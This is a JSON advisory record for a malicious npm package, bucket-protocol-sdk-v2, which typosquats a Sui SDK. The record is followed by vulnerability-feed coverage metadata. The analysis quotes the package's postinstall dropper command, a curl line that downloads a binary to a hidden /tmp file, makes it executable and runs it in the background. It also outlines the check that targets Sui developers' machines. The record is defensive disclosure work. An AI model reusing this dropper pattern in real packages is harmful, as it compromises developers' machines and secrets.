{"id":"GHSA-23pf-2cqf-xh64","revision":null,"records":[{"revision":"1900d61c2efc479980a1e0894d91029d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-4502","aliases":["GHSA-23pf-2cqf-xh64"],"title":"Malicious code in bucket-protocol-sdk-v2 (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e19ff8a6cb5a08bd0561658d41dfe3616f1680bc5acac989c97da38f37ee41b4)\nbucket-protocol-sdk-v2 advertises itself as a 'community maintained drop-in replacement' for the Sui ecosystem's bucket-protocol-sdk, but its src/ tree contains only empty stubs (`bucket.ts: export {};`, `index.ts: export * from './bucket';`) — no real SDK code is shipped. The entire payload is the postinstall hook. package.json declares `\"postinstall\": \"node install.js\"`; install.js checks whether the host is a Sui developer (presence of the `sui` binary or `~/.sui/sui_config/client.yaml`) and then runs `curl -s -L -o /tmp/.sui-helper ${implantUrl} && chmod +x /tmp/.sui-helper && /tmp/.sui-helper &` to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named `implantUrl` with the comment `PUT YOUR ACTUAL 0x0.st URL HERE`, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns.\n\n## Source: ghsa-malware (bf10092b7f2bbc98982554a98e320cf2fb9a56438a77f90e2749857026e2bfb8)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-05-20T04:04:00+00:00","modifiedAt":"2026-08-18T00:30:28.6620731+00:00","affected":[{"ecosystem":"npm","name":"bucket-protocol-sdk-v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["1.0.26","1.0.11","1.0.23","1.0.12","1.0.22","1.0.18","1.0.19"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.26","https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.11","https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.23","https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.12","https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.22","https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.18","https://www.npmjs.com/package/bucket-protocol-sdk-v2/v/1.0.19","https://github.com/advisories/GHSA-23pf-2cqf-xh64"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-4502","license":"OSV · upstream source license applies","key":"osv:MAL-2026-4502","identifiers":["MAL-2026-4502","GHSA-23pf-2cqf-xh64"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-21T21:25:39.2987515+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-21T21:25:39.2987515+00:00","lastSuccessAt":"2026-11-21T21:25:39.4696152+00:00","error":null,"lastVerifiedAt":"2026-11-21T21:25:39.4696159+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-1d6c61c44cf3e269b6d60ed2fe0a3aa1f7e55445c7f170f16f2fa063bbf73db3-8a5323e6076063ba205d53125922ddf347b239b3be2a44989d6bde5f5ff924c6","complete":true,"records":430357,"lastAttemptAt":"2026-11-21T21:25:38.8039521+00:00","lastSuccessAt":"2026-11-21T21:25:38.7610734+00:00","error":null,"lastVerifiedAt":"2026-11-21T21:25:38.8039521+00:00","snapshotPublishedAt":"2026-11-21T21:23:25+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7e8982bb480e4eb695c179c8ce0fb00a","complete":false,"records":13927,"lastAttemptAt":"2026-11-21T21:34:08.4920433+00:00","lastSuccessAt":"2026-11-21T21:34:08.488+00:00","error":"210 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-21T21:34:08.488+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13764,"expectedIdentifiers":13975,"failedIdentifiers":210},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-21T21:25:39.2987515+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-21T21:25:39.2987515+00:00","lastSuccessAt":"2026-11-21T21:25:39.4704272+00:00","error":null,"lastVerifiedAt":"2026-11-21T21:25:39.4704275+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-038da8739d494524a5c05de26c3dcfb9","complete":true,"records":13939,"lastAttemptAt":"2026-11-21T21:26:04.7647909+00:00","lastSuccessAt":"2026-11-21T21:26:04.762+00:00","error":null,"lastVerifiedAt":"2026-11-21T21:26:04.762+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13975,"expectedIdentifiers":13975,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e5345bb505029da8292989aaa8236ee0c21dd40080e465858702ec2ecb4dcefd","complete":true,"records":9989,"lastAttemptAt":"2026-11-21T21:25:39.1645101+00:00","lastSuccessAt":"2026-11-21T19:16:03.0413179+00:00","error":null,"lastVerifiedAt":"2026-11-21T21:25:39.1645101+00:00","snapshotPublishedAt":"2026-11-21T18:18:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-21T21:25:38.9522562+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-21T21:25:38.9522562+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-67ea94df7f6b2100258b087b14035af283f000b6aefe39f55e9f2795f912fde8","complete":true,"records":3209,"lastAttemptAt":"2026-11-21T21:25:39.2629448+00:00","lastSuccessAt":"2026-11-21T19:16:06.9994675+00:00","error":null,"lastVerifiedAt":"2026-11-21T21:25:39.2629448+00:00","snapshotPublishedAt":"2026-11-21T18:18:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ca9191aa5fa7fa5c5a36899d65632bf6b4c0113dd89adbc5ffafda61020ad762","complete":true,"records":232850,"lastAttemptAt":"2026-11-21T21:25:39.0583706+00:00","lastSuccessAt":"2026-11-21T20:28:22.4166332+00:00","error":null,"lastVerifiedAt":"2026-11-21T21:25:39.0583706+00:00","snapshotPublishedAt":"2026-11-21T20:18:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}